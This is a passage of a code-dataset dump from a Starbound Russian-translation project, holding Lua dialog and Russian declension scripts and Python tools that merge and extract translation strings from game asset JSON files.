targetId then\n targetDialog = dialog[world.entitySpecies(targetId)] or dialog.default\n else\n targetDialog = dialog.default\n end\n\n if dialog.generic then\n targetDialog = util.mergeLists(dialog.generic, targetDialog)\n end\n\n return targetDialog\nend\n\nfunction staticRandomizeDialog(list)\n return list[sb.staticRandomI32Range(1, #list, context().seed())]\nend\n\nfunction sequenceDialog(list, sequenceKey)\n self.dialogSequence = self.dialogSequence or {}\n self.dialogSequence[sequenceKey] = (self.dialogSequence[sequenceKey] or -1) + 1\n return list[(self.dialogSequence[sequenceKey] % #list) + 1]\nend\n\nfunction randomizeDialog(list)\n return list[math.random(1, #list)]\nend\n\nfunction randomChatSound()\n local chatSounds = config.getParameter(\"chatSounds\", {})\n\n local speciesSounds = chatSounds[npc.species()] or chatSounds.default\n if not speciesSounds then return nil end\n\n local genderSounds = speciesSounds[npc.gender()] or speciesSounds.default\n if not genderSounds then return nil end\n if type(genderSounds) ~= \"table\" then return genderSounds end\n if #genderSounds == 0 then return nil end\n\n return genderSounds[math.random(#genderSounds)]\nend\n\n-- output dialog\n-- output source\nfunction receiveClueDialog(args, board)\n local notification = util.find(self.notifications, function(n) return n.type == \"giveClue\" end)\n if notification then\n local dialog = root.assetJson(notification.dialog)\n local dialogLine = staticRandomizeDialog(speciesDialog(dialog, notification.sourceId))\n world.sendEntityMessage(notification.sourceId, \"dialogClueReceived\", dialogLine)\n return true, {dialog = dialog, source = notification.sourceId}\n else\n return false\n end\nend\n\n-- param tag\n-- param text\nfunction setDialogTag(args, board)\n self.dialogTags = self.dialogTags or {}\n self.dialogTags[args.tag] = args.text\n return true\nend\n\nfunction makeTags(args)\n local tags = args.tags or {}\n local qgen = setmetatable({}, QuestTextGenerator)\n tags.selfname = world.entityName(entity.id())\n qgen.config = {}\n qgen.parameters = {\n self = {\n id = entity.id,\n name = tags.selfname,\n type = \"entity\",\n gender = world.entityGender(entity.id()),\n species = world.entitySpecies(entity.id())\n }\n }\n if type(args.entity) == \"number\" then\n tags.entityname = world.entityName(args.entity)\n qgen.parameters.player = {\n type = \"entity\",\n gender = world.entityGender(args.entity),\n name = tags.entityname,\n species = world.entitySpecies(args.entity),\n id = function() return args.entity end,\n }\n end\n if type(args.cdtarget) == \"number\" then\n tags.entityname = world.entityName(args.cdtarget)\n qgen.parameters.dialogTarget = {\n type = \"entity\",\n gender = world.entityGender(args.cdtarget),\n name = tags.entityname,\n species = world.entitySpecies(args.cdtarget),\n id = function() return args.cdtarget end,\n }\n end\n local extratags = qgen:generateExtraTags()\n if extratags ~= nil then\n util.mergeTable(tags, extratags)\n end\n return tags\nend\n\n-- param dialogType\n-- param dialog\n-- param entity\n-- param tags\nfunction sayToEntity(args, board)\n local dialog = args.dialog and speciesDialog(args.dialog, args.entity) or queryDialog(args.dialogType, args.entity);\n local dialogMode = config.getParameter(\"dialogMode\", \"static\")\n\n if dialog == nil then\n error(string.format(\"Dialog type %s not specified in %s\", args.dialogType, entityVariant()))\n end\n\n if dialogMode == \"static\" then\n dialog = staticRandomizeDialog(dialog)\n elseif dialogMode == \"sequence\" then\n dialog = sequenceDialog(dialog, args.dialogType)\n else\n dialog = randomizeDialog(dialog)\n end\n if dialog == nil then return false end\n\n args.tags = sb.jsonMerge(makeTags(args), args.tags or {})\n\n local tags = sb.jsonMerge(self.dialogTags or {}, args.tags)\n tags.selfname = world.entityName(entity.id())\n if args.entity then\n tags.entityname = world.entityName(args.entity)\n\n local entityType = world.entityType(args.entity)\n if entityType and entityType == \"npc\" then\n tags.entitySpecies = world.entitySpecies(args.entity)\n end\n end\n\n local options = {}\n\n -- Only NPCs have sound support\n if entity.entityType() == \"npc\" then\n options.sound = randomChatSound()\n end\n\n context().say(dialog, tags, options)\n return true\nend\n\n-- param entity\nfunction inspectEntity(args, board)\n if not args.entity or not world.entityExists(args.entity) then return false end\n\n local options = {}\n local species = nil\n if entity.entityType() == \"npc\" then\n species = npc.species()\n options.sound = randomChatSound()\n end\n\n local dialog = world.entityDescription(args.entity, species)\n if not dialog then return false end\n\n local tags = makeTags(args)\n context().say(dialog, tags, options)\n return true\nend\n\n-- param dialogType\n-- param entity\nfunction getDialog(args, board)\n self.currentDialog = copy(queryDialog(args.dialogType, args.entity))\n self.currentDialogTarget = args.entity\n if self.currentDialog == nil then\n return false\n end\n\n return true\nend\n\n-- param content\nfunction say(args, board)\n local portrait = config.getParameter(\"chatPortrait\")\n\n args.tags = makeTags(args)\n\n local options = {}\n if entity.entityType() == \"npc\" then\n options.sound = randomChatSound()\n end\n\n if portrait == nil then\n context().say(args.content, args.tags, options)\n else\n context().sayPortrait(args.content, portrait, args.tags, options)\n end\n\n return true\nend\n\nfunction sayNext(args, board)\n if self.currentDialog == nil or #self.currentDialog == 0 then return false end\n\n local portrait = config.getParameter(\"chatPortrait\")\n\n if self.currentDialogTarget then args.cdtarget = self.currentDialogTarget end\n args.tags = makeTags(args)\n if self.currentDialogTarget then args.tags.entityname = world.entityName(self.currentDialogTarget) end\n\n local options = {}\n if entity.entityType() == \"npc\" then\n options.sound = randomChatSound()\n end\n\n if portrait == nil then\n context().say(self.currentDialog[1], args.tags, options)\n else\n if #self.currentDialog > 1 then\n options.drawMoreIndicator = args.drawMoreIndicator\n end\n context().sayPortrait(self.currentDialog[1], portrait, args.tags, options)\n end\n\n table.remove(self.currentDialog, 1)\n return true\nend\n\nfunction hasMoreDialog(args, output)\n if self.currentDialog == nil or #self.currentDialog == 0 then return false end\n return true\nend\n" }, { "alpha_fraction": 0.6500588655471802, "alphanum_fraction": 0.6598666310310364, "avg_line_length": 33.445945739746094, "blob_id": "7d27476247616c758078d1a0c02774813401397f", "content_id": "3e83a05ca2d68619ff881176aeafe49bb78595a6", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Lua", "length_bytes": 2553, "license_type": "permissive", "max_line_length": 121, "num_lines": 74, "path": "/translations/others/items/buildscripts/buildmechpart.lua", "repo_name": "SBT-community/Starbound_RU", "src_encoding": "UTF-8", "text": "partFrames = {\n arm = {\n {\"<armName>\", \":idle\"},\n {\"<armName>Fullbright\", \":idle\"}\n },\n body = {\n {\"bodyBack\", \":active\"},\n {\"bodyFront\", \":active\"},\n {\"bodyFullbright\", \":active\"}\n },\n booster = {\n {\"frontBoosterBack\", \":idle\"},\n {\"frontBoosterFront\", \":idle\"}\n },\n legs = {\n {\"backLeg\", \":flat\", {11, -4}},\n {\"backLegJoint\", \":default\", {5, -1}},\n {\"hips\", \":default\", {2, 3}},\n {\"frontLegJoint\", \":default\", {-6, -1}},\n {\"frontLeg\", \":flat\", {-10, -4}}\n }\n}\n\nfunction build(directory, config, parameters, level, seed)\n if config.mechPart and partFrames[config.mechPart[1]] then\n local partFile = root.assetJson(\"/vehicles/modularmech/mechparts_\" .. config.mechPart[1] .. \".config\")\n local partConfig = partFile[config.mechPart[2]]\n\n local paletteConfig = root.assetJson(\"/vehicles/modularmech/mechpalettes.config\")\n local directives = directiveString(paletteConfig, partConfig.defaultPrimaryColors, partConfig.defaultSecondaryColors)\n\n local basePath = \"/vehicles/modularmech/\"\n local drawables = {}\n\n for _, frameConfig in ipairs(partFrames[config.mechPart[1]]) do\n local baseImage = partConfig.partImages[frameConfig[1]]\n if baseImage and baseImage ~= \"\" then\n table.insert(drawables, {\n image = basePath .. baseImage .. frameConfig[2] .. directives,\n centered = true,\n position = frameConfig[3]\n })\n end\n end\n\n config.tooltipFields = config.tooltipFields or {}\n config.tooltipFields.objectImage = drawables\n\n if partConfig.stats then\n for statName, statValue in pairs(partConfig.stats) do\n local clampedValue = math.max(3, math.min(7, math.floor(statValue)))\n config.tooltipFields[statName .. \"StatImage\"] = \"/interface/tooltips/statbar.png:\" .. clampedValue\n end\n end\n\n if config.mechPart[1] == \"arm\" then\n local energyDrain = root.evalFunction(\"mechArmEnergyDrain\", partConfig.stats.energy or 0)\n config.tooltipFields.energyDrainStatLabel = string.format(\"%.02f МДж/с\", energyDrain)\n end\n end\n\n return config, parameters\nend\n\nfunction directiveString(paletteConfig, primaryColors, secondaryColors)\n local result = \"\"\n for i, fromColor in ipairs(paletteConfig.primaryMagicColors) do\n result = string.format(\"%s?replace=%s=%s\", result, fromColor, primaryColors[i])\n end\n for i, fromColor in ipairs(paletteConfig.secondaryMagicColors) do\n result = string.format(\"%s?replace=%s=%s\", result, fromColor, secondaryColors[i])\n end\n return result\nend\n" }, { "alpha_fraction": 0.5444307327270508, "alphanum_fraction": 0.5502931475639343, "avg_line_length": 32.07143020629883, "blob_id": "d446d847797c529a216984a1fd7a3890a767f876", "content_id": "84734710c920c0ba566ce0d9d52d7721bc73b51d", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Lua", "length_bytes": 6709, "license_type": "permissive", "max_line_length": 80, "num_lines": 196, "path": "/translations/others/scripts/quest/declension.lua", "repo_name": "SBT-community/Starbound_RU", "src_encoding": "UTF-8", "text": "local defaultformdetector = {\n {match = {\"емена.*\"}, form = \"plural\"},\n {match = {\"ие%s.+\", \"ые%s.+\"}, form = \"plural\", subform = \"normal\"},\n {match = {\"ое%s.+\", \"ее%s.+\"}, form = \"neutral\", subform = \"normal\"},\n {match = {\"емя.*\", \"o\"}, form = \"neutral\"},\n {match = {\"ая%s.+\", \"яя%s.+\", \"ья%s.+\"},form = \"female\", subform = \"normal\"},\n {match = {\"й%s.+\", \"е%s.+\"}, subform = \"normal\"},\n {match = {\".%s.+\"}, subform = \"of\"},\n {match = {\"и\", \"ы\"}, form = \"plural\"},\n {match = {\"а\", \"я\", \"сть\"}, form = \"female\"},\n {match = {\".\"}, form = \"male\", subform = \"normal\"},\n}\n\nlocal function newSub(match, subtable)\n return {match = type(match) == \"string\" and {match} or match,\n sub = setmetatable(subtable, {__index = function(t,k)\n if k == \"any\" then return end\n if t.any then return t.any end\n if k == \"neutral\" and t.male then return t.male end\n return \"%0\"\n end})\n }\nend\n\nlocal consonants = {\"ц\", \"к\", \"н\", \"ш\", \"щ\", \"з\", \"х\", \"ф\", \"в\", \"п\",\n \"р\", \"л\", \"д\", \"ж\", \"ч\", \"с\", \"м\", \"т\", \"г\", \"б\"}\n\n\nlocal cases = {\n dative = {\n any = {\n newSub(\"ень\", {male = \"ню\"}),\n newSub(\"ия\", {male = \"ие\", female = \"ии\"}),\n newSub(\"([иы])е\", {plural = \"%1м\"}),\n newSub({\"(г)и\", \"(к)и\"}, {plural = \"%1ам:guard:\"}),\n newSub(\"ь\", {male = \"ю\", female = \"и\"}),\n newSub({\"а\", \"я\"}, {any = \"е\", neutral = \"ени\", plural = \"%0м\"}),\n newSub(\"ы\", {plural = \"ам\"}),\n newSub(\"и\", {plural = \"ям\"}),\n newSub(\"й\", {male = \"ю\"}),\n newSub(consonants, {male = \"%0у\"}),\n nonstop = false,\n },\n glitch = {\n newSub({\"ый(.*)\", \"ой(.*)\", \"ое(.*)\"}, {any = \"ому%1\", female = \"%0\"}),\n newSub({\"(к)ий(.*)\", \"(г)ий(.*)\"}, {male = \"%1ому%2\"}),\n newSub(\"ий(.*)\", {male = \"ему%1\"}),\n newSub(\"ая(.*)\", {female = \"ой%1\"}),\n newSub({\"яя(.*)\", \"ья(.*)\"}, {female = \"ей%1\"}),\n newSub({\"ок\", \"ек\"}, {any = \"ку\"}),\n newSub({\"е\", \"о\"}, {plural = \"м\", any = \"у\"}),\n nonstop = true,\n },\n item = {\n additional = {\"glitch\", \"any\"},\n nonstop = false\n }\n },\n accusative = {\n any = {\n newSub(\"ень\", {male = \"ня\"}),\n newSub({\"(г)и\", \"(к)и\"}, {plural = \"%1ов:guard:\"}),\n newSub(\"аи\", {plural = \"аев\"}),\n newSub(\"а\", {any = \"у\"}),\n newSub(\"я\", {any = \"ю\"}),\n newSub(\"е\", {plural = \"х\"}),\n newSub(\"и\", {plural = \"ей\"}),\n newSub(\"ы\", {plural = \"ов\"}),\n newSub(\"й\", {male = \"я\"}),\n newSub(\"ь\", {male = \"я\"}),\n newSub(consonants, {male = \"%0а\"}),\n nonstop = false,\n },\n glitch = {\n newSub({\"(к)ий(.+)\", \"(г)ий(.+)\"}, {male = \"%1ого%2\"}),\n newSub({\"ый(.+)\", \"ой(.+)\", \"oe(.*)\"}, {any = \"ого%1\", female = \"%0\"}),\n newSub(\"ий(.+)\", {male = \"его%1\"}),\n newSub({\"ок\", \"ек\"}, {male = \"ка:guard:\"}),\n -- :guard: notation will be removed automatically at the end of processing\n -- it is necessary to prevent changing this ending\n additional = {\"item\", \"any\"},\n nonstop = true,\n },\n item = {\n additional = {},\n nonstop = false,\n newSub(\"ая(.*)\", {female = \"ую%1\"}),\n newSub(\"яя(.*)\", {female = \"юю%1\"}),\n newSub(\"ья(.*)\", {female = \"ью%1\"}),\n newSub(\"а\", {female = \"у\"}),\n newSub(\"я\", {female = \"ю\"}),\n },\n },\n}\n\n\nlocal function iterateRules(rules, matcher)\n assert(type(rules) == \"table\")\n assert(type(matcher) == \"function\")\n for i = 1, #rules do\n for _, match in pairs(rules[i].match) do\n local result = matcher(match, rules[i], rules.nonstop)\n if result then\n return result\n end\n end\n end\nend\n\nfunction detectForm(phrase, customformdetector)\n -- Detects form of given phrase using supplied formdetector table.\n -- Returns 3 values:\n -- 1. detected form\n -- 2. mutable part of phrase\n -- 3. immutable part of phase\n -- If formdetector is not supplied, it uses default form detector\n local detector = customformdetector or defaultformdetector\n local form, subform\n local head, tail = phrase, \"\"\n local matcher = function(pat, rule)\n if head:match(pat..\"$\") then\n form = form or rule.form\n if not subform then\n if rule.subform == \"of\" then\n head, tail = head:match(\"^(.-)(%s.+)$\")\n end\n subform = rule.subform\n end\n end\n if form and subform then return form end\n end\n local resultform = iterateRules(detector, matcher)\n return resultform, head, tail\nend\n\nlocal function matchName(name, gender, rules)\n local remove_guards = {\n nonstop = true,\n newSub(\":guard:(.*)\", {any = \"%1\"}),\n }\n local act = function(pat, rule, nonstop)\n local result, count = name:gsub(pat..\"$\", rule.sub[gender])\n if count > 0 then\n if nonstop then name = result return\n else return result end end\n end\n name = iterateRules(rules, act) or name\n name = iterateRules(remove_guards, act) or name\n return name\nend\n\nlocal function matchTable(phrase, mtable)\n -- Converts given phrase according to mtable.\n -- If phrase is string and does not contains any form informations\n -- the function is trying to detect form via detectForm function\n local rules = mtable[phrase.species] or {}\n for _, v in pairs(rules.additional or {\"any\"}) do\n for k, vv in pairs(mtable[v] or {}) do\n if type(k) == 'number' then table.insert(rules, vv) end\n end\n end\n local tokens = {}\n for n in phrase.name:gmatch(\"%S+\") do\n table.insert(tokens, matchName(n, phrase.gender, rules))\n end\n return table.concat(tokens, ' ')\nend\n\nfunction decline(phrase, case)\n assert(type(phrase) == \"table\")\n -- phrase = {name, gender, species}\n assert(type(case) == \"table\")\n -- For dash separated words like \"Самураи-отступники\"\n -- each part of the word will be conjugated separately.\n -- It does not affect adjectives (no spaces allowed after dash)\n local part1, part2 = phrase.name:match(\"^([^%-]+)(%-[^%s%-]+)$\")\n if part2 then\n local secondphrase = phrase\n secondphrase.name = part2\n phrase.name = part1\n part2 = matchTable(secondphrase, case)\n end\n return matchTable(phrase, case)..(part2 or \"\")\nend\n\nfunction injectDecliners(action)\n -- Calls `action` with two arguments:\n -- 1. case name\n -- 2. case decliner function which expects one argument - phrase object to\n -- decline\n assert(type(action) == \"function\")\n action(\"\", function(p) return p.name end) -- nominative case without changes\n for name, case in pairs(cases) do\n action(\".\"..name, function(p) return decline(p, case) end)\n end\nend\n" }, { "alpha_fraction": 0.6579585671424866, "alphanum_fraction": 0.6604938507080078, "avg_line_length": 36.64315414428711, "blob_id": "1ccd63d877dea3ff687a4a7b83b3dd1cb9da4f2d", "content_id": "eb7e64edc0f9ebb6f27d7232a6577ce2be90c9fc", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 9072, "license_type": "permissive", "max_line_length": 87, "num_lines": 241, "path": "/tools/merge_from_mod.py", "repo_name": "SBT-community/Starbound_RU", "src_encoding": "UTF-8", "text": "#!/bin/python\n\nimport os\nfrom os.path import dirname, join, exists, relpath, splitext\nimport json\nfrom json_tools import list_field_paths, field_by_path\nfrom shutil import copy\nfrom utils import get_answer\nfrom bisect import insort_left\nfrom codecs import open as copen\nfrom sys import platform\nif platform == \"win32\":\n from os.path import normpath as norm\n def normpath(path):\n return norm(path).replace('\\\\', '/')\nelse:\n from os.path import normpath\n\nmod_dir = \"./mod\"\nroot_dir = \"./translations\"\n\ndef parseFile(filename):\n result = []\n try:\n with copen(filename, \"r\", 'utf-8') as f:\n result = json.load(f)\n except:\n print(\"Failed to parse: \" + filename)\n quit(1)\n return result\n\ndef get_data(field, target_file, original_file):\n ## Returns json structure from \"target_file\" and\n ## index of a field in this structure related to \"field\" in \"original_file\"\n ## original_file - a file path in game assets the requested data related to\n ## field - path to field of interest inside \"original_file\" json\n ## target_file - a framework file, containing the requested data\n data = \"\"\n try:\n with copen(target_file, \"r\", 'utf-8') as f:\n data = json.load(f)\n except:\n print(\"Warning: can not load file \" + target_file)\n return None, -1\n index = -1\n for i, label in enumerate(data):\n if original_file in label[\"Files\"] and (field in label[\"Files\"][original_file]):\n index = i\n return data, i\n\n return None, -1\n\n\n\ndef replace(target_file, field, newdata, original):\n ## Tries to merge translation to framework\n ## if translation exists and conflicts with new one\n ## asks for user to manual merge\n ## target - file in framework related to file should be translated\n ## field - path of field in game assets json file which should be translated\n ## newdata - translated string\n ## original - path to file in game assets should be translated\n target = join(root_dir, target_file)\n data, index = get_data(field, target, original)\n if not (type(newdata) is str):\n return\n if data is None:\n print(\"Cannot get data: \" + newdata)\n print(\"Target file: \" + target)\n print(\"Assets file: \" + original)\n return\n changed = False\n olddata = \"\"\n if \"DeniedAlternatives\" not in data[index]:\n data[index][\"DeniedAlternatives\"] = list()\n if \"Rus\" in data[index][\"Texts\"]:\n olddata = data[index][\"Texts\"][\"Rus\"]\n if olddata == newdata or len(newdata) == 0:\n return\n elif newdata in data[index][\"DeniedAlternatives\"]:\n return\n elif len(olddata) == 0:\n changed = True\n data[index][\"Texts\"][\"Rus\"] = newdata\n else:\n print(\"Target: \" + target)\n print(\"Origin: \" + original)\n print(\"Used in:\")\n i = 0\n for f, fields in data[index][\"Files\"].items():\n if i > 5:\n print(\"...and in \" + str(len(data[index][\"Files\"])-i) + \" more files\")\n break\n print(\" \" + f)\n for p in fields:\n print(\" at \" + p)\n i += 1\n print(\"Denied variants:\")\n for d in data[index][\"DeniedAlternatives\"]:\n print(' ' + d)\n print(\"Field: \" + field)\n print(\"English text:\")\n print(' \"' + data[index][\"Texts\"][\"Eng\"] + '\"')\n print(\"Old Russian text:\")\n print(' \"' + data[index][\"Texts\"][\"Rus\"] + '\"')\n print(\"New Russian text:\")\n print(\" \\\"\" + newdata + '\"')\n print(\"What text should be used?\")\n print(\" n - new text\")\n print(\" o - old text\")\n print(\" e - enter manually\")\n answer = get_answer([\"n\", \"o\", \"e\", \"i\"])\n if answer == \"n\":\n print(\"Setting to the new data...\")\n if olddata not in data[index][\"DeniedAlternatives\"]:\n insort_left(data[index][\"DeniedAlternatives\"], olddata)\n if newdata in data[index][\"DeniedAlternatives\"]:\n data[index][\"DeniedAlternatives\"].remove(newdata)\n data[index][\"Texts\"][\"Rus\"] = newdata\n changed = True\n elif answer == \"e\":\n print(\"Enter new data:\")\n answer = get_answer(3)\n data[index][\"Texts\"][\"Rus\"] = answer\n changed = True\n if newdata not in data[index][\"DeniedAlternatives\"] and newdata != answer:\n insort_left(data[index][\"DeniedAlternatives\"], newdata)\n changed = True\n if olddata not in data[index][\"DeniedAlternatives\"] and olddata != answer:\n insort_left(data[index][\"DeniedAlternatives\"], olddata)\n changed = True\n if answer in data[index][\"DeniedAlternatives\"]:\n data[index][\"DeniedAlternatives\"].remove(answer)\n print(\"Written: \" + answer)\n elif answer == \"i\":\n import code\n code.InteractiveConsole(locals=globals()).interact()\n else:\n print(\"Keeping old data...\")\n if newdata not in data[index][\"DeniedAlternatives\"]:\n insort_left(data[index][\"DeniedAlternatives\"],newdata)\n changed = True\n if olddata in data[index][\"DeniedAlternatives\"]:\n data[index][\"DeniedAlternatives\"].remove(olddata)\n changed = True\n if changed:\n pass\n with copen(target, \"w\", 'utf-8') as f:\n json.dump(data, f, ensure_ascii = False, indent = 2, sort_keys=True)\n\n\ndef handleGlitch(field, newdata, original_file, original_files):\n ## field - path to field of interest inside json\n ## newdata - translated string\n ## original_files - a dict with pairs {field: path}\n emotefield = join(field, \"glitchEmote\")\n textfield = join(field, \"glitchEmotedText\")\n if emotefield not in original_files and textfield not in original_files:\n return False # Not a glitch case, return\n offset = newdata.find(\".\")\n if offset == -1 or offset + 2 >= len(newdata):\n print(\"Cann't find separator of glitch emote in \" + newdata)\n print(\"but this text should contain one! Skipping to avoid database damage...\")\n return True\n emote = newdata[:offset+1]\n text = newdata[offset+2:]\n while text.startswith(emote): #TODO: Delete after base fix\n text = text[len(emote)+1:]\n emotepath = original_files[emotefield]\n textpath = original_files[textfield]\n replace(emotepath, emotefield, emote, original_file)\n replace(textpath, textfield, text, original_file)\n return True\n\nsubstitutions = dict()\nwith copen(join(root_dir ,\"substitutions.json\"), \"r\", 'utf-8') as f:\n substitutions = json.load(f)\n\nspecialHandlers = [\n ## Contains handler-functions for special cases\n ## function should return True if it can handle supplied data\n ## otherwise - return False\n ## function should receive 4 arguments:\n ## field - path to field of interest inside json\n ## newdata - translated string\n ## original_file - path to target file in game assets\n ## original_files - a dict with pairs {field: path},\n ## where:\n ## path - path to target file in framework\n ## field - path to field of interest inside json\n ## this dict can contain a special fields, not existent in real game assets and\n ## related to internal framework special cases\n ## such a dict usually can be obtained from substitutions global variable or file\n handleGlitch\n]\n\ndef process_replacement(field, newdata, original_file):\n ## field - path to field of interest inside json\n ## newdata - translated string\n ## original_file - target file of replacement in game assets\n targetfile = \"texts/\" + original_file + \".json\"\n if original_file in substitutions: # We encountered shared field\n if field in substitutions[original_file]:\n targetfile = substitutions[original_file][field]\n else: # Special case like glitchEmote\n for handler in specialHandlers:\n if handler(field, newdata, original_file, substitutions[original_file]):\n return\n replace(targetfile, field, newdata, original_file)\n\n\nothers_path = normpath(join(root_dir, \"others\"))\nfor subdir, dirs, files in os.walk(mod_dir):\n for thefile in files:\n if not thefile.endswith(\".patch\"):\n # All non-patch files will be copied to others directory\n modpath = join(subdir, thefile) # File path in mod dir\n assetspath = normpath(relpath(modpath, mod_dir)) # File path in packed assets\n fwpath = normpath(join(others_path,assetspath)) # File path in framework\n if exists(fwpath):\n print(fwpath + \" already exists! Replacing...\")\n os.makedirs(dirname(fwpath), exist_ok = True)\n copy(modpath, fwpath)\n continue\n filename = join(subdir, thefile) # Patch file path\n # File path in packed assets\n fname, ext = splitext(filename)\n assetspath = normpath(relpath(fname, mod_dir))\n replacements = parseFile(filename)\n for replacement in replacements:\n # We expect, that operation is always \"replace\".\n # If it isn't... Well, something strange will happen.\n newdata = replacement[\"value\"] # Imported translated text\n jsonpath = replacement[\"path\"]\n if type(newdata) is list: # Very special case if value is list\n paths = list_field_paths(newdata)\n for p in paths: # There we are restoring paths to leafs of structure in newdata\n process_replacement(join(jsonpath, p),\n field_by_path(newdata,p), assetspath)\n else: # All as expected, just perform replacement\n process_replacement(jsonpath, newdata, assetspath)\n" }, { "alpha_fraction": 0.7003745436668396, "alphanum_fraction": 0.7003745436668396, "avg_line_length": 37.14285659790039, "blob_id": "a2c3a0c51526ef148fdf5ec6a47e8f45ad29a062", "content_id": "a8016adb286eb821a3e599e2047aff9f138f9d8d", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 534, "license_type": "permissive", "max_line_length": 87, "num_lines": 14, "path": "/tools/utils.py", "repo_name": "SBT-community/Starbound_RU", "src_encoding": "UTF-8", "text": "from sys import stdin\n\n\ndef get_answer(criteria):\n ## Gets an user input matching the \"criteria\"\n answer = \"\"\n if type(criteria) is int: # if criteria is an int, it's treated as a minimal length\n while len(answer) < criteria:\n answer = stdin.readline().strip()\n elif type(criteria) is list or type(criteria) is tuple or type(criteria) is dict:\n # if criteria is a list-like type, it's treated as list of possible answer variants\n while answer not in criteria:\n answer = stdin.readline().strip()\n return answer\n" }, { "alpha_fraction": 0.6462361216545105, "alphanum_fraction": 0.648087203502655, "avg_line_length": 35.14870071411133, "blob_id": "8c05849bcf745a46bacc05b8e00049410a2fce82", "content_id": "f1b980fae9bf0ef25c70840b0722c1bb6601efd7", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 9724, "license_type": "permissive", "max_line_length": 79, "num_lines": 269, "path": "/tools/extract_labels.py", "repo_name": "SBT-community/Starbound_RU", "src_encoding": "UTF-8", "text": "#!/bin/python3\n# A script for label extraction from unpacked game assets\n\n\nfrom os.path import join, dirname, exists, relpath, abspath, basename\nfrom sys import platform\nif platform == \"win32\":\n from os.path import normpath as normpath_old\n def normpath(path):\n return normpath_old(path).replace('\\\\', '/')\nelse:\n from os.path import normpath\nfrom codecs import open as open_n_decode\nfrom shared_path import getSharedPath\nfrom json_tools import prepare, field_by_path, list_field_paths\nfrom re import compile as regex\nfrom multiprocessing import Pool\nfrom os import walk, makedirs, remove\nfrom json import load, dump, loads\nfrom parser_settings import files_of_interest, ignore_files\nfrom utils import get_answer\nfrom bisect import insort_left\nfrom special_cases import specialSections\n\nroot_dir = \"./assets\"\nprefix = \"./translations\"\ntexts_prefix = \"texts\"\nsub_file = normpath(join(prefix, \"substitutions.json\"))\n\nglitchEmoteExtractor = regex(\"^([In]{,3}\\s?[A-Za-z-]+\\.)\\s+(.*)\")\nglitchIsHere = regex(\"^.*[gG]litch.*\")\n\n\ndef defaultHandler(val, filename, path):\n sec = \"\"\n for pattern in specialSections:\n if pattern.match(filename, path):\n sec = pattern.name\n break\n return [(sec, val, filename, path)]\n \ndef glitchDescriptionSpecialHandler(val, filename, path):\n ## Handles glitch utterances, and separates it to emote part and text part,\n ## then saves the parts in new paths to database\n ## See details in textHandlers description\n extracted = glitchEmoteExtractor.match(val)\n is_glitch = glitchIsHere.match(path)\n if extracted is None or is_glitch is None:\n return False\n emote = extracted.groups()[0]\n text = extracted.groups()[1]\n t = defaultHandler(text, filename, normpath(join(path, \"glitchEmotedText\")))\n e = defaultHandler(emote, filename, normpath(join(path, \"glitchEmote\")))\n return t + e\n\ntextHandlers = [\n ## A list of text handlers.\n ## Handlers needed to handle a special cases of text like glitch emotes\n ## If handler can handle the text, it returns True, otherwise - False\n ## the defaultHandler must always present in the end of the list, \n ## it always handles the text and returns True\n ## Each handler should receive 3 arguments:\n ## first - the text should be handled\n ## second - the filename, where text was found\n ## third - the path to field inside json, where text was found\n glitchDescriptionSpecialHandler,\n defaultHandler\n]\n\n\nspecialSharedPaths = {\n ## A dict with field ends which shold be saved in special files\n \"glitchEmote\": \"glitchEmotes\",\n}\n\ndef parseFile(filename):\n chunk = list()\n with open_n_decode(filename, \"r\", \"utf-8\") as f:\n string = prepare(f)\n jsondata = dict()\n try:\n jsondata = loads(string)\n except:\n print(\"Cannot parse \" + filename)\n return []\n paths = list_field_paths(jsondata)\n dialog = dirname(filename).endswith(\"dialog\")\n for path in paths:\n for k in files_of_interest.keys():\n if filename.endswith(k) or k == \"*\":\n for roi in files_of_interest[k]:\n if roi.match(path) or dialog:\n val = field_by_path(jsondata, path)\n if not type(val) is str:\n print(\"File: \" + filename)\n print(\"Type of \" + path + \" is not a string!\")\n continue\n if val == \"\":\n continue\n for handler in textHandlers:\n res = handler(val, filename, '/' + path)\n if res:\n chunk += res\n break\n break\n return chunk\n\ndef construct_db(assets_dir):\n ## Creating a database of text labels from game assets dir given\n ## the database has a following structure:\n ## {\"section\": { \"label\" :\n ## { \"files were it used\" : [list of fields were it used in file] } } }\n print(\"Scanning assets at \" + assets_dir)\n db = dict()\n db[\"\"] = dict()\n foi = list()\n endings = tuple(files_of_interest.keys())\n for subdir, dirs, files in walk(assets_dir):\n for thefile in files:\n if thefile.endswith(endings) and thefile not in ignore_files:\n foi.append(normpath(join(subdir, thefile)))\n with Pool() as p:\n r = p.imap_unordered(parseFile, foi)\n for chunk in r:\n for sec, val, fname, path in chunk:\n if sec not in db:\n db[sec] = dict()\n if val not in db[sec]:\n db[sec][val] = dict()\n filename = normpath(relpath(abspath(fname), abspath(assets_dir)))\n if filename not in db[sec][val]:\n db[sec][val][filename] = list()\n if path not in db[sec][val][filename]:\n insort_left(db[sec][val][filename], path)\n return db\n\ndef file_by_assets(assets_fname, field, substitutions):\n if assets_fname in substitutions and field in substitutions[assets_fname]:\n return substitutions[assets_fname][field]\n else:\n return normpath(join(texts_prefix, assets_fname)) + \".json\"\n\ndef process_label(combo):\n ## Creates json file structure for given label then returns\n ## tuple of filename, translation and substitutions\n ## combo - a tuple of 3 arguments: label, files and oldsubs\n ## label - english text from database\n ## files - filelist were english text used (also from database)\n ## oldsubs - the parsed json content of substitutions.json from \n ## previous database if it exists\n ## Returned tuple:\n ## translation - a part of json file content to write into the database\n ## filename - a name of file the translation should be added\n ## substitutions - a part of new formed substitutions file content\n label, files, oldsubs, section = combo\n substitutions = dict()\n obj_file = normpath(getSharedPath(files.keys()))\n translation = dict()\n if section:\n translation[\"Comment\"] = section\n translation[\"Texts\"] = dict()\n translation[\"Texts\"][\"Eng\"] = label\n translation[\"DeniedAlternatives\"] = list()\n filename = \"\"\n for thefile, fields in files.items():\n for field in fields:\n fieldend = basename(field)\n if fieldend in specialSharedPaths:\n obj_file = normpath(specialSharedPaths[fieldend])\n if obj_file == '.':\n obj_file = \"wide_spread_fields\"\n filename = normpath(join(prefix, texts_prefix, obj_file + \".json\"))\n if thefile != 